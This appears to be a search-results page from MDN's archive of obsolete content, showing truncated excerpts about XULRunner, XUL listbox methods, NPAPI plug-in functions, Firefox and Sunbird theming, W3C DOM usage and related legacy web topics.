ingle only one row may be selected at a time. (default in listbox and richlistbox.) multiple multiple rows may be selected at once. (default in tree.) for trees, you can also use the following values: cell individual cells can be selected text rows are selected; however, the selection highlight appears only over the text of the primary column. for richlistbox, this is
new in firefox 3.5. suppressonselect type: boolean if this attribute is not specified, a select event is fired whenever an item is selected, either by the user or by calling one of the select methods. if set to true, the select event is never fired. tabindex type: integer the tab order of the element. the tab order is the order in which the focus is moved when the user presses the...
... removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata additemtoselection( item ) return type: no return value selects the given item, without deselecting any other items that are already selected. appenditem( label, value ) return type: element creates a
new item and adds it to the end of the existing list of items. you may optionally set a value. the function returns the
newly created element. clearselection() return type: no return value deselects all of the items. a select event is sent before the items are deselected. ensureelementisvisible( element ) return type: no return value if the specified element is not currently visible to the...
...en multiple items are selected, you can retrieve each selected item using this method. the argument index specifies the index in the list of the selected items, not the row number of the item. the item index is zero-based, thus this example will return the first selected item: getselecteditem(0). insertitemat( index, label, value ) return type: element this method creates a
new item and inserts it at the specified position. you may optionally set a value. the
new item element is returned. invertselection() return type: no return value reverses the selected state of all items. selected items become deselected, and deselected items become selected. movebyoffset( offset , isselecting, isselectingrange) return type: no return value if offset is positive, adjusts t...
...come deselected, and deselected items become selected. movebyoffset( offset , isselecting, isselectingrange) return type: no return value if offset is positive, adjusts the focused item forward by that many items. if offset is negative, adjusts the focused item backward by that many items. if isselecting is true, then the selection is also adjusted. if isselectingrange is also true, then the
new item is selected in addition to any currently selected items. if isselectingrange is false, any existing selection is cleared. items that are hidden are skipped. removeitemat( index ) return type: element removes the child item in the element at the specified index. the method returns the removed item. removeitemfromselection( item ) return type: no return value desele...
XULRunner 1.8.0.1 Release Notes - Archive of obsolete content
xulrunner 1.8.0.1 is the first stable developer preview release of xulrunner. it provides facilities for launching standalone xul applications and embedding apis which can be used to render web pages within native and java applications. xulrunner 1.8.0.4 is now available as a security/stability update; all users should install this
new version. system requirements before installing, make sure your computer meets the system requirements. ...
...ents before installing, make sure your computer meets the system requirements. the system requirements for xulrunner are the same as the system requirements for firefox. installing xulrunner mozilla provides xulrunner for windows, mac os x, and linux, in english: download xulrunner for windows download xulrunner for mac os x download xulrunner for linux windows unpack the zip file to a
new directory using a archive tool (7zip is recommended). the following directory is recommended: c:\program files\mozilla xulrunner\1.8.0.1 . to register xulrunner with the system, open a command prompt and run xulrunner.exe --register-global (to register for all users) or xulrunner.exe --register-user (to register for one user only). mac os x open the .pkg file within the installer and follow...
...d). the following directory is recommended: c:\program files\mozilla xulrunner\1.8.0.1 . to register xulrunner with the system, open a command prompt and run xulrunner.exe --register-global (to register for all users) or xulrunner.exe --register-user (to register for one user only). mac os x open the .pkg file within the installer and follow the directions. linux unpack the tarball to a
new directory using tar -xzf xulrunner-1.8.0.1.en-us.linux-i686.tar.gz. the following directory is recommended: /opt/xulrunner/1.8.0.1 . register xulrunner with the system by running xulrunner --register-global (to install for all users, must be run as root) or xulrunner --register-user (to install for one user only). uninstalling xulrunner windows/linux from a command prompt, run xulrunner --u...
...r 1.8 for more information. where is the source code? here. i think i've found a bug, how do i report it? bugzilla.mozilla.org is used to track bugs in all mozilla products. please search to make sure that your bug has not already been reported. how can i help? if you want to help with xulrunner but don't know where to start, visit the xulrunner:community page and ask questions on the
newsgroups or the irc channel. ...
XULRunner 2.0 Release Notes - Archive of obsolete content
fox. installing xulrunner mozilla provides xulrunner for windows, mac os x, and linux, in english. the releases directory can be found here. specific runtimes can be found at: download xulrunner for windows download xulrunner for mac os x download xulrunner for 32-bit linux download xulrunner for 64-bit linux (warning: links may become out-of-date at times). windows unpack the zip file to a
new directory using an archive tool (7zip is recommended). the following directory is recommended: c:\program files\mozilla xulrunner\2.0 . to register xulrunner with the system, open a command prompt and run xulrunner.exe --register-global (to register for all users) or xulrunner.exe --register-user (to register for one user only). mac os x open the .pkg file within the installer and follow the di...
...lrunner.exe --register-global (to register for all users) or xulrunner.exe --register-user (to register for one user only). mac os x open the .pkg file within the installer and follow the directions. xulrunner 2.0 is a universal binary containing i386 and x86_64 architectures. xulrunner 1.9.2 and earlier versions had powerpc (ppc) and i386 architectures. ...
...the following directory is recommended: /opt/xulrunner/2.0 . register xulrunner with the system by running xulrunner --register-global (to install for all users, must be run as root) or xulrunner --register-user (to install for one user only). ...
...e. where is the sdk? here. see gecko sdk for information about the sdk. i think i've found a bug, how do i report it? bugzilla.mozilla.org is used to track bugs in all mozilla products. please search to make sure that your bug has not already been reported. how can i help? if you want to help with xulrunner but don't know where to start, visit the xulrunner:community page and ask questions on the
newsgroups or the irc channel. ...
Application Update - Archive of obsolete content
rl.manual", "http://yourserver.net/yourpage"); // a default value for the "more information about this update" link // supplied in the "an update is available" page of the update wizard. pref("app.update.url.details", "http://yourserver.net/yourpage"); // user-settable override to app.update.url for testing purposes. ...
...is available" page of the update wizard. pref("app.update.url.details", "http://yourserver.net/yourpage"); // user-settable override to app.update.url for testing purposes. ...
...start", 1800); // interval: when all registered timers should be checked (in milliseconds) // default=5 seconds pref("app.update.timer", 600000); // whether or not we show a dialog box informing the user that the update was // successfully applied. this is off in firefox by default since we show a // upgrade start page instead! other apps may wish to show this ui, and supply // a whats
newurl field in their brand.properties that contains a link to a page // which tells users what's
new in this
new update. pref("app.update.showinstalledui", false); // 0 = suppress prompting for incompatibilities if there are updates available // to
newer versions of installed addons that resolve them. // 1 = suppress prompting for incompatibilities only if there are versioninfo // updates a...
...pref("app.update.incompatible.mode", 0); update server follow the instructions here to setup an update server for your xulrunner application to query. i opted for the simpler approach of not using the update php script. https is recommended but not required (yet). ...
Getting started with XULRunner - Archive of obsolete content
ed in /library/frameworks. in ubuntu desktop and its variants (xubuntu, kubuntu, ...), from version 11.10 (oneiric ocelot), xulrunner is not longer maintained and doesn't exist in ubuntu repository. therefore, either you need to compile xulrunner manually or download a binary release from mozilla's ftp server. ...
...ln -s /opt/xulrunner/xulrunner /usr/bin/xulrunner sudo ln -s /opt/xulrunner/xpcshell /usr/bin/xpcshell you could also save this script to a file for convenience. note: if you are using firefox build from ubuntuzilla repository, replace /usr/lib/firefox/platform.ini with /opt/firefox/platform.ini. step 2: install xulrunner on windows, unzip the archive someplace reasonable. i unzipped it to a
new c:\program files\xulrunner folder. on the mac, extract the tar.bz2 archive, which contains xulrunner as xul.framework. copy this to the /library/frameworks directory, or another location of your choice. on linux, you only need to unpack the archive if you are using a pre-release xulrunner. in all systems you should unzip the omni.ja file into some example directory and take a look at all the...
...ocumentation here on mdn in much more detail. hint: skip ahead and download the sample application, you can experiment with it while following this tutorial. you can download the sample application from https://github.com/matthewkastor/xulrunner-examples. please continue reading to learn the "what", "why" and "how" parts of building a xulrunner application. on windows, i created the root in a
new c:\program files\myapp folder, but you can create it wherever you like, using whatever os you like. the same application structure is used on windows, mac and linux. here is the subfolder structure: + myapp/ | +-+ chrome/ | | | +-+ content/ | | | | | +-- main.xul | | | | | +-- main.js | | | +-- chrome.manifest | +-+ defaults/ | | | +-+ preferences/ | | | +-- prefs.js | +-- application.ini | ...
...ter xpcom components in addition to its previous uses. part of this change means the /chrome/chrome.manifest is no longer considered the "root" manifest. xulrunner will not check that folder location for a root-level chrome.manifest. you need to move your existing chrome.manifest to the application root folder, remembering to update the relative paths within the file. you could also just create a
new application root-level manifest that includes the /chrome/chrome.manifest, which is what this tutorial will do. step 4: set up application.ini the application.ini file acts as the xulrunner entry point for your application. it specifies how your application intends to use the xulrunner platform as well as configure some information that xulrunner uses to run your application. here is mine: [ap...
Using SOAP in XULRunner 1.9 - Archive of obsolete content
after some experimentation, the following seems to be the best way to speak soap in xulrunner. several alternatives were considered: soapclient 2.4 - this library contains a few javascript mistakes but nevertheless seems (fairly) widely used, mature and tested. it requires servers to support wsdl which took it out of the running. xulrunner 1.8.* - using an old xulrunner is certainly an option but brings up a host of speed, stability and memory issues. ...
... it can be worked around easily. ...
...t.js saxmlutils.js making a soap call var url = 'http://example.com/soap/'; var ns = 'http://example.com/soap/namespace'; var method = 'foo'; var params = { 'foo': 'bar', 'baz': 'bang' }; var callback = function(obj) { components.utils.reporterror(obj.tosource()); }; soapclient.proxy = url; var body =
new soapobject(method); body.ns = ns; for (var k in params) { body.appendchild(
new soapobject(k).val(params[k])); } var req =
new soaprequest(url, body); req.action = ns + '#' + method; soapclient.sendrequest(req, callback); diff between jqsoapclient.js and sasoapclient.js 42c42 < var jsout = $.xmltojson(xdata.responsexml); --- > var jsout = xmlobjectifier.xmltojson(xdata.responsexml); 46,60c46,62 < $.ajax({ < type: "post", < url: soapclient.proxy, < ...
...nttype: soapclient.contenttype + "; charset=\"" + soapclient.charset + "\"", < beforesend: function(req) { < req.setrequestheader("method", "post"); < req.setrequestheader("content-length", soapclient.contentlength); < req.setrequestheader("soapserver", soapclient.soapserver); < req.setrequestheader("soapaction", soapreq.action); < } < }); --- > var xhr =
new xmlhttprequest(); > xhr.mozbackgroundrequest = true; > xhr.open('post', soapclient.proxy, true); > xhr.onreadystatechange = function() { > if (4 != xhr.readystate) { return; } > getresponse(xhr); > }; > var headers = { > 'method': 'post', > 'content-type': soapclient.contenttype + '; charset="' + > soapclient.charset + '"', > 'content-length': soapclient.co...
NPN_DestroyStream - Archive of obsolete content
e to network problems. returns if successful, the function returns nperr_no_error. if unsuccessful, the plug-in is not loaded and the function returns an error code. ...
...urns nperr_no_error. if unsuccessful, the plug-in is not loaded and the function returns an error code. for possible values, see error codes. ...
...n is not loaded and the function returns an error code. for possible values, see error codes. description the plug-in calls the npn_destroystream() function to close and delete a stream. ...
...nd the function returns an error code. for possible values, see error codes. description the plug-in calls the npn_destroystream() function to close and delete a stream. ...
NPN_PostURL - Archive of obsolete content
(npp instance, const char *url, const char *target, uint32 len, const char *buf, npbool file); parameters the function has the following parameters: instance pointer to the current plug-in instance. url url of the request, specified by the plug-in. target display target, specified by the plug-in. if null, pass the
new stream back to the current plug-in instance regardless of mime type. for values, see npn_geturl. len length of the buffer buf. buf path to local temporary file or data buffer that contains the data to post. temporary file is deleted after use. data in buffer cannot be posted for a protocol that requires a header. file a boolean value that specifies whethe...
...values, see error codes. description npn_posturl works similarly to npn_geturl, but in reverse. npn_geturl reads data from the url and either displays it in the target window or delivers it to the plug-in. npn_posturl writes data from a file or buffer to the url and either displays the server's response in the target window or delivers it to the plug-in. if the target parameter is null, the
new stream is passed to the plug-in regardless of mime type. when you use npn_posturl to send data to the server, you can handle the response in several different ways by specifying different target parameters. if target is null, the server response is sent back to the plug-in. you can get the data and save it in a file or use it in a program. if you specify _current, _self, or _top, the respon...
...ata to the server, you can handle the response in several different ways by specifying different target parameters. if target is null, the server response is sent back to the plug-in. you can get the data and save it in a file or use it in a program. if you specify _current, _self, or _top, the response data is written to the same plug-in window and the plug-in is unloaded. if you specify _
new or _blank, the response data is written to a
new browser window. you can also write the response data to a frame by specifying the frame name as the target parameter. for http urls only, the browser resolves this method as the http server method post, which transmits data to the server. the data to post can be contained either in a local temporary file or a
new memory buffer. to post to a tem...
... "file://" is optional. ms windows and os x if a file is posted with any protocol other than ftp, the file must be text with unix-style line breaks ('\n' separators only). to post data from a memory buffer, set the flag file to false, the buffer buf to the data to post, and len to the length of buffer. possible url types include http (similar to an html form submission), mail (sending mail),
news (posting a
news article), and ftp (upload a file). plug-ins can use this function to post form data to cgi scripts using http or upload files to a remote server using ftp. you cannot use npn_posturl to specify headers (even a blank line) in a memory buffer. to do this, use npn_posturlnotify. for protocols in which the headers must be distinguished from the body, such as http, the buffer or file ...
NPStream - Archive of obsolete content
headers the response headers from the host. this field is only available if the np version is greater than or equal to npvers_has_response_headers. this field is used only for http and is null for other types of streams. the plug-in should copy this data before making use of it. the headers include the http status line and all headers, verbatim as received from the server. lines are terminated by
newline characters ("\n"), and the headers are terminated by a
newline followed by null ("\n\0"). description the browser allocates and initializes the npstream object and passes it to the plug-in in as a parameter to npp_
newstream or npn_
newstream. the browser cannot delete the object until after it calls npp_destroystream or the plug-in calls npn_destroystream. streams produced by the browser: the...
...all api calls that operate on the stream (such as npp_writeready and npp_write) use a pointer to this stream. the browser informs the plug-in when the stream is about to be deleted through npp_destroystream, after which the npstream object is no longer valid. ...
.... all api calls that operate on the stream (such as npp_writeready and npp_write) use a pointer to this stream. ...
... is about to be deleted through npp_destroystream, after which the npstream object is no longer valid. ...
Sunbird Theme Tutorial - Archive of obsolete content
t>), making it look something like an e-mail address, but it does not need to be a real e-mail address. before and after the at-sign, it can only contain the characters a-z, a-z, 0-9, full stop, hyphen and underscore. if you do not own a domain name, you can make up something else. if you want to make it clear that your made-up name is not a real domain, add <tt>.invalid</tt> to the end. create a
new directory in the <tt>extensions</tt> directory. use the identifer as your
new directory's name. this
new directory is your theme directory. go into your theme directory. creating information about your theme in your theme directory, create a plain text file named <tt>install.rdf</tt>. copy and paste the content from here, making sure that you scroll to get all of it: <?xml version="1.0"?> <r...
...art sunbird. there you can see the location of the directory. in the program directory, go to the <tt>chrome</tt> directory. use a jar tool or zip tool to unpack the file <tt>calendar.jar</tt> there. go to the <tt>skin</tt> directory that has just been created, then to the <tt>classic</tt> directory there. copy the <tt>calendar</tt> directory that you find there. in your theme directory, create a
new directory named <tt>chrome</tt>. paste the copied <tt>calendar</tt> directory, together with all its contents, into your
new <tt>chrome</tt> directory. now you have a theme, although it looks exactly the same as sunbird's classic theme. modifying your theme to modify your theme, change the css and image files in any way you like. for testing purposes, go to the <tt>calendar</tt> directory that...
...d's program directory, then to the <tt>defaults</tt> directory there. in the <tt>pref</tt> directory, edit the file <tt>sunbird.js</tt> and search for the <tt>pref("extensions</tt> entries. add the line: pref("extensions.dss.enabled", false); save the file. using your theme to use your theme, restart sunbird. from the menu bar, choose tools – themes... in the themes window, check that your
new theme has appeared. select it and press the use theme button. restart sunbird again. if your theme is working, you see the effect of the changes that you made. developing your theme to develop your theme, make further changes to the theme files. you might prefer to do some design work in an image editor first, so that you have a clear design concept to implement. understanding sunbird's user...
...ories. name the packed file with the <tt>.jar</tt> extension. for example, when i wrote this article i used this command in my theme directory: zip -9 testing-0.1.jar * chrome/testing.jar make this jar file available to users. installing a packaged theme install your packaged theme in the normal way, by dragging the jar (or a link to it) and dropping it in sunbird's themes window. select the
newly installed theme and press the use theme button. restart sunbird. ...
Building a Theme - Archive of obsolete content
png /icon.png /chrome/ browser/ communicator/ global/ mozapps/ we'll want to create a file structure similar to the one above for our tutorial, so let's begin by creating a folder for your theme somewhere on your hard disk (e.g. c:\themes\my_theme\ or ~/themes/my_theme/). inside your
new theme folder, create two
new empty text files, one called chrome.manifest and the other called install.rdf. the file preview.png is shown as a preview of the theme in the themes panel of the add-ons window. the file icon.png is used as an icon in the same panel. we'll leave both of them out for now, unless you have something picked out that you want to use. the remaining directories will be extr...
...ts#type for other type codes). {ec8030f7-c20a-464f-9b0e-13a3a9e97384} - firefox's application id. 29.0 - the exact version number of the earliest version of firefox you're saying this extension will work with. never use a * in a minversion, it almost certainly will not do what you expect it to. 39.* - the maximum version of firefox you're saying this extension will work with. set this to be no
newer than the
newest currently available version! in this case, "39.*" indicates that the extension works with firefox 39 and any subsequent 39.x release. themes are compatible by default, unless you set strict compatibility mode for your theme. if you get a message that the install.rdf is malformed, it is helpful to load it into firefox using the file->open file command and it will report xml err...
... about your theme. during the development phase for firefox versions 2.0 and higher, you can point firefox to the folder where you are developing the theme, and it'll load it up every time you restart firefox. locate your profile folder and beneath it the profile you want to work with (e.g. firefox/profiles/<profile_id>.default/). open the extensions/ folder, creating it if need be. create a
new text file and put the full path to your development folder inside (e.g. c:\themes\my_theme\ or ~/themes/my_theme/). windows users should retain the os' slash direction, and everyone should remember to include a closing slash and remove any trailing spaces. save the file with the id of your theme as its name (e.g. sample@example.net). no file extension. now you should be ready to test your them...
...installtrigger method to install xpis, as it provides the best experience to users. using addons.mozilla.org mozilla add-ons is a distribution site where you can host your theme for free. your theme will be hosted on mozilla's mirror network to guarantee your download even though it might be very popular. mozilla's site also provides users easier installation, and will automatically make your
newer versions available to users of your existing versions when you upload them. in addition, mozilla add-ons allows users to comment and provide feedback on your theme. it is highly recommended that you use mozilla add-ons to distribute your themes! visit https://addons.mozilla.org/developers/ to create an account and begin distributing your themes! note: your theme will be passed faster and down...
Theme changes in Firefox 4 - Archive of obsolete content
covers changes in firefox 4 that affect theme developers. omni.jar firefox 4 achieves performance improvements by moving many of its internal parts from being standalone files or sets of jar files into just one jar file; this reduces the amount of i/o needed to load firefox. however, this does impact theme developers, since many of the files that they need to pull out and work with are now in a
new place. in particular, the
new file omni.jar contains most of the resources, including the skin. it's also important to note that skin files are now split into two subfolders within the omni.jar file, and you'll need to look in both places to find all the skin resources you need. /chrome/browser/skin contains application-specific skin resource files. /chrome/toolkit/skin contains toolkit sk...
...now copy all of the directories from omni.jar mentioned above into it. then copy all of icon.png, install.rdf and preview.png from <firefox-app-bundle>/contents/macos/extensions/{...} into my_theme. finally, you need to create a chrome.manifest file with the contents: skin browser classic/1.0 chrome/br...
...e is set: #navigator-toolbox[iconsize="large"] > #personaltoolbar { counter-reset: largeicons; } to use large icons everywhere, including the menu bar, regardless of the user preference: #navigator-toolbox > toolbar, #addon-bar { counter-reset: largeicons; } creating a theme that works for firefox 4 on mac os x create a
new directory (for example, my_theme). inside that, create another
new directory chrome. now copy all of the directories from omni.jar mentioned above into it. then copy all of icon.png, install.rdf and preview.png from <firefox-app-bundle>/contents/macos/extensions/{...} into my_theme. finally, you need to create a chrome.manifest file with the contents: skin browser classic/1.0 chrome/browser/ skin communicator classic/1.0 chrome/communicator/ skin ...
... ...
Using the W3C DOM - Archive of obsolete content
non-standard properties, such as internet explorer's document.all[], that are not part of the w3c document object model (dom) standards and may cause javascript errors in standards-compliant browsers. the w3c document object model provides interfaces dom elements to scriptable objects. w3c dom standards are well supported by modern browsers, however the standards are moving target so support for
newer features should be tested before use. using w3c standards means that code will run in compliant browsers with minimal need for cross-browser support, whereas code based on proprietary standards requires much more effort to be compatible with multiple user agents. unsupported dom-related properties the following ie proprietary document object properties are not supported in the w3c document ob...
...me.value document.forms["formname"].inputname.value or document.forms["formname"].elements["inputname"].value formctrlname document.forms["formname"].formctrlname or document.forms["formname"].elements["formctrlname"] document.forms(0) document.forms[0] more on accessing forms and form elements: referencing forms and form controls by comp.lang.javascript
newsgroup faq notes dom 2 specification on accessing forms and form elements referencing forms and form elements correctly, javascript best practices, by matt kruse for accessing a group of elements, the dom specification also includes getelementsbytagname, which returns a nodelist of all the elements with the given tag name in the order they appear in the document: var arrcollection_of_pargs = d...
...rrcollection_of_pargs = document.getelementsbytagname("p"); var objfirst_parg = arrcollection_of_pargs[0]; // objfirst_parg will reference the first paragraph in the document objfirst_parg.style.border = "2px solid green"; // and now, the first paragraph in the document // gets a 2px solid green border. in addition to these access methods, the w3c dom specifications provide methods for creating
new elements and inserting them in a document, for creating attributes,
new content, for traversing the content tree and for handling events dispatched as the user interacts with the document itself. manipulating document style and content changing an element's style using the dom the following table describes standards-based methods for accessing and updating style rules defined for various html ...
...ing events dispatched as the user interacts with the document itself. manipulating document style and content changing an element's style using the dom the following table describes standards-based methods for accessing and updating style rules defined for various html elements in a web page. see the w3c dom 2 recommendation, css2 extended interface. dom level 2 provides for the assignment of
new values to the css properties of an element using the elemref.style object reference. you can get a reference to the element to which that style corresponds by using the dom's getelementbyid or one of the other methods described in the dom access section above. deprecated coding practices appropriate dom 2 replacements ie5+: elemref.style.pixelleft dom level 2: parseint(el...
Browser Detection and Cross Browser Support - Archive of obsolete content
ith disabilities to name just a few reasons. targeting your web content to particular vendors ignores the possibility that other browsers which support the same standards may be introduced in the future. a common problem on the web today is the assumption that the only browsers in the world are netscape navigator and microsoft internet explorer. this ignores the existence of opera as well as the
newer handheld devices which are being used to access the web today and in the future. mozilla-based browsers (such as firefox), internet explorer 6 on windows, and internet explorer 5 for macintosh all support doctype switching. this is a technique where these browsers can be switched from "quirks" mode (which emulates buggy implementations in earlier generation browsers) to standards mode (which m...
... access the web today and in the future. mozilla-based browsers (such as firefox), internet explorer 6 on windows, and internet explorer 5 for macintosh all support doctype switching. this is a technique where these browsers can be switched from "quirks" mode (which emulates buggy implementations in earlier generation browsers) to standards mode (which more strictly adhers to the standards). for
new content, we recommend that you use a doctype which will invoke standards mode in gecko and internet explorer 6. this will ensure that your designs work similarly in these browsers as well as in any other browsers which support the standards. provide support for unknown browsers always provide content and code paths for unknown browsers. the recommended approach is to assume that any unknown bro...
...string and the related information from the navigator object can be very useful. you can also use detailed information regarding a browser's version to work around bugs in specific releases of a browser. however, this can quickly become a maintenance nightmare if you are not careful. i recommend that you only provide work arounds for bugs on a temporary basis and as soon as bugs are corrected in
newer releases of the browser that you require your visitors to upgrade their browser. provide downlevel pages for older browsers no commercial web site today makes complete support for netscape navigator versions 1, 2 or 3 or microsoft internet explorer 3 a requirement. the reasons are that the capabilities of such browsers are far too limited compared to more modern browsers, the added developmen...
... should be provided with downlevel content depends to an extent on what features of css or javascript are being used in the advanced content. netscape navigator 4 and internet explorer 4 should both be considered downlevel browsers for most pages due to their limited support for css and the more recent dom based standards. if your pages make use of advanced javascript which manipulates or creates
new content using the w3c dom core, then opera 5 and 6 should be considered downlevel as well due to their limited support for the w3c dom. the future belongs to developers and browsers which support standards. if you fail to take advantage of the coming change in browsers, your competitors will eat your lunch. once that happens, the only place your web site will be found is on the web archive. use...
Generator comprehensions - Archive of obsolete content
however, it has been removed from the standard and the firefox implementation. ...
... iterable) x) (for (x of iterable) if (condition) x) (for (x of iterable) for (y of iterable) x + y) description inside generator comprehensions, these two kinds of components are allowed: for...of and if the for-of iteration is always the first component. multiple for-of iterations or if statements are allowed. a significant drawback of array comprehensions is that they cause an entire
new array to be constructed in memory. when the input to the comprehension is itself a small array the overhead involved is insignificant — but when the input is a large array or an expensive (or indeed infinite) generator the creation of a
new array can be problematic. generators enable lazy computation of sequences, with items calculated on-demand as they are needed. generator comprehensions are...
... they are needed. generator comprehensions are syntactically almost identical to array comprehensions — they use parentheses instead of braces— but instead of building an array they create a generator that can execute lazily. you can think of them as short hand syntax for creating generators. suppose we have an iterator it which iterates over a large sequence of integers. ...
...ink of them as short hand syntax for creating generators. suppose we have an iterator it which iterates over a large sequence of integers. we want to create a
new iterator that will iterate over their doubles. ...
ActiveXObject - Archive of obsolete content
typename the type or class of the object to create. ...
... typename the type or class of the object to create. ...
...t zone, you typically need to change a custom setting to "initialize and script activex controls not marked as safe for scripting." to identify members of an automation object that you can use in your code, you may need to use a com object browser, such as the ole/com object viewer, if no reference documentation is available for the automation object. to create an automation object, assign the
new activexobject to an object variable: var excelapp =
new activexobject("excel.application"); var excelsheet =
new activexobject("excel.sheet"); this code starts the application creating the object (in this case, a microsoft excel worksheet). once an object is created, you refer to it in code using the object variable you defined. in the following example, you access properties and methods of th...
... // make excel visible through the application object. excelsheet.application.visible = true; // place some text in the first cell of the sheet. ...
ParallelArray - Archive of obsolete content
the goal of parallelarray was to enable data-parallelism in web applications. the higher-order functions available on parallelarray attempted to execute in parallel, though they may fall back to sequential execution if necessary. to ensure that your code executes in parallel, it is suggested that the functions should be limited to the parallelizable subset of js that firefox supports. ...
...lelarray was to enable data-parallelism in web applications. the higher-order functions available on parallelarray attempted to execute in parallel, though they may fall back to sequential execution if necessary. to ensure that your code executes in parallel, it is suggested that the functions should be limited to the parallelizable subset of js that firefox supports. ...
...b applications. the higher-order functions available on parallelarray attempted to execute in parallel, though they may fall back to sequential execution if necessary. to ensure that your code executes in parallel, it is suggested that the functions should be limited to the parallelizable subset of js that firefox supports. ...
...to the parallelizable subset of js that firefox supports. syntax
new parallelarray()
new parallelarray([element0, element1, ...])
new parallelarray(arraylength, elementalfunction) parallelarray instances properties length reflects the number of elements in the parallelarray. ...
Writing JavaScript for XHTML - Archive of obsolete content
lready, that the document object in xml files is different from the ones in html files. now we take a look at one widly used property that is missing in xml files. in xml documents there is no document.cookie. that is, you can write something like document.cookie = "key=value"; in xml as well, but nothing is saved in cookie storage. solution: use the storage object with firefox 2 there was a
new feature enabled, the html 5 storage object. although this feature is not free of critics, you can use it to bypass the non-existing cookie, if your document is of type xml. again, you will have to write your own wrapper to respect any given combination of mime type and browser. problem: i can't use document.write() this problem has the same cause as the one above. this method does not exist in ...
...ethods to create all of your elements, attributes and other nodes. this is xml proof, as long as you keep the namespace problem in focus (e.g., there is a document.createelementns method). of course, you can still use strings like in document.write(), but it takes a little more effort. for example: var string = '<div xmlns="http://www.w3.org/999/xhtml"><h1>hello world!</h1></div>'; var parser =
new domparser(); var documentfragment = parser.parsefromstring(string, "text/xml"); body.appendchild(documentfragment); // assuming 'body' is the body element but be aware that if your string is not well-formed xml (e.g., you have an & where it should not be), then this method will crash, leaving you with a parser error. problem: i want to remain forward compatible! given the direction away from ...
... guaranteed to work with future versions of xhtml (perhaps especially the formatting properties which have been deprecated as element attributes). the regular xml dom provides sufficient methods via the element interface for getting/setting/removing attributes. problem: my favourite js library still breaks if you use javascript libraries like the famous prototype.js or yahoo's one, there is bad
news for you: as long as the developers don't apply the fixes mentioned above, you won't be able to use them in your xml-xhtml applications. two possible ways still are there, but neither is very promissing: take the library, recode it and publish it or e-mail the developers, e-mail your friends to e-mail the developers and e-mail your customers to e-mail the developers. if they get the hint and are...
...ut neither is very promissing: take the library, recode it and publish it or e-mail the developers, e-mail your friends to e-mail the developers and e-mail your customers to e-mail the developers. if they get the hint and are not too annoyed, perhaps they start to implement xml features in their libraries. i read about e4x. now, this is perfect, isn't it? as a matter of fact, it isn't. e4x is a
new method of using and manipulating xml in javascript. but, standardized by ecma, they neglected to implement an interface to let e4x objects interact with dom objects our document consists of. so, with every advantage e4x has, without a dom interface you can't use it productively to manipulate your document. however, it can be used for data, and be converted into a string which can then be converte...
XForms Custom Controls - Archive of obsolete content
zation will fall into one of the following categories: custom presentation - xforms controls as rendered by the mozilla xforms processor do not provide the right look and feel for you. custom data types - existing xforms controls are not able to work properly with your data type advanced xforms controls - you need your controls to be able to do more things than traditional xforms controls can do
new host language - you'd like to support xforms in host languages other than xhtml or xul custom presentation the mozilla xforms extension cannot anticipate all of the possible use cases that will evolve in web applications and web pages as xforms matures and the user base grows. and with these
new uses, more and more flexibility will be desired from the controls. introducing custom controls into y...
...r to align the type of presentation with the type of data that the bound instance node contains. for example, if mediatype='image/*' then the user should see the image that the bytes represent rather than just the byte sequence. xf|output[mediatype^="image"] { -moz-binding: url('chrome://xforms/content/xforms-xhtml.xml#xformswidget-output-mediatype-anyuri'); } custom data types if you define a
new schema data type or you use a built-in data type and find the current xforms control for this type to be insufficient, then you should write a
new custom control. for example, if you have an instance node of type xsd:date and you'd like to see the date displayed in a local format. in mozilla, every bound xforms control has a typelist attribute of moztype namespace that contains the inheritance ch...
...if you need to have xforms in other kinds of documents like svg, mathml or some other tag language that mozilla supports, then you'll need to implement xforms controls for your desired document format. the xforms implementation has base xbl bindings for every xforms control. you can wr...
...to choose what type of binding you will extend to provide the foundation for your custom control. this will very likely be one of the implementation bindings or one of the base bindings. example a collection of custom control examples can be found on xforms:custom controls examples, and you can also see the blog post "understanding xforms: customization". here is a complete example that defines a
new output control that loads its value as an image. it is bound to <xf:output mediatype="image/*"/> mimicking the current xforms 1.1 draft: <?xml version="1.0" encoding="utf-8"?> <!doctype html public "-//w3c//dtd xhtml 1.1//en" "http://www.w3.org/tr/xhtml11/dtd/xhtml11.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:xf="http://www.w3.org/2002/xforms"> <head> <title>custom image c...
The Business Benefits of Web Standards - Archive of obsolete content
ider contribution of making our content universally accessible to people in different social, medical and economic circumstances. happier staff good developers - both agency and inhouse - simply do not want to work using outdated methodologies and platforms with uncertain standards, with all the consequent uncertainty in quality. they have adopted web standards long ago and now work where these
new skills are appreciated. familiarity with dreamweaver or any other legacy software is not a good basis for hiring creative development personnel. eliminate unwelcome future costs a very significant portion of electronically-stored information is produced for the web and written in html format. most of this information uses invalid html which happens to be displayed correctly in permissive older ...
...l documented and the fixes are well published and well known. conversely fixing tag soup is a black hole of time and money. well-formed code significantly reduces rendering differences in various browsers. using validation tools such as the w3c validator helps by spotting coding errors and making sure html code is well-formed, which eliminates ambiguity in parsing by browsers. ...
...re common than netscape 4.x and msie 4 browsers, and it is increasing significantly with time. firefox alone has been downloaded more than 50 millions times in 6 months. in such an increasingly heterogeneous environment, testing each web page in every configuration is impossible. coding to standards is then the only practical solution. in a ground breaking development microsoft have announced a
new meta tag that can be used in sites to trigger ie 8 into web standards mode. at the same time in non standards mode existing legacy sites will still be seen as intended. although in some ways a controversial move - the announcement has attracted widespread support from leading developers and standards advocates, led by jeffrey zeldman. legacy user agents: netscape 4 and ie4 the only drawback in ...
...ces can be enjoyed by the user regardless of platform, software, operating system, or any one of a dozen other variables including screen size, text resolution, javascript activation, or any disabilty the user may have. conclusion using web standards and separating structure from presentation brings a host of benefits for today and tomorrow. today, it means more audience, lower cost to produce
new content, and becoming compliant with accessibility requirements. for tomorrow, it means reducing vendor lock-in, reducing cost of maintenance, and having a more flexible web site in terms of presentation. last but not least, use of standards opens the door to xml technologies. all these factors also contribute to easier site management, a larger audience and a better return on investment. geeks...
Game monetization - Game development
ked by many players and devs. if you want to implement iaps try to add value to the game with something players will enjoy instead of taking it out and then charging for it. add-ons and dlcs add-ons and downloadable content are a good way to provide extra value to an already released game, but remember that you'll have to offer decent, entertaining content to attract people to buy it. a totally
new set of levels with
new characters, weapons and story is a good material for dlc, but to have enough sales the game itself has to be popular, or else there won't be any players interested in spending their hard earned money on it. advertisements instead of actively selling the games you can also try to get yourself a passive income — showing adverts and relying on previous activities related t...
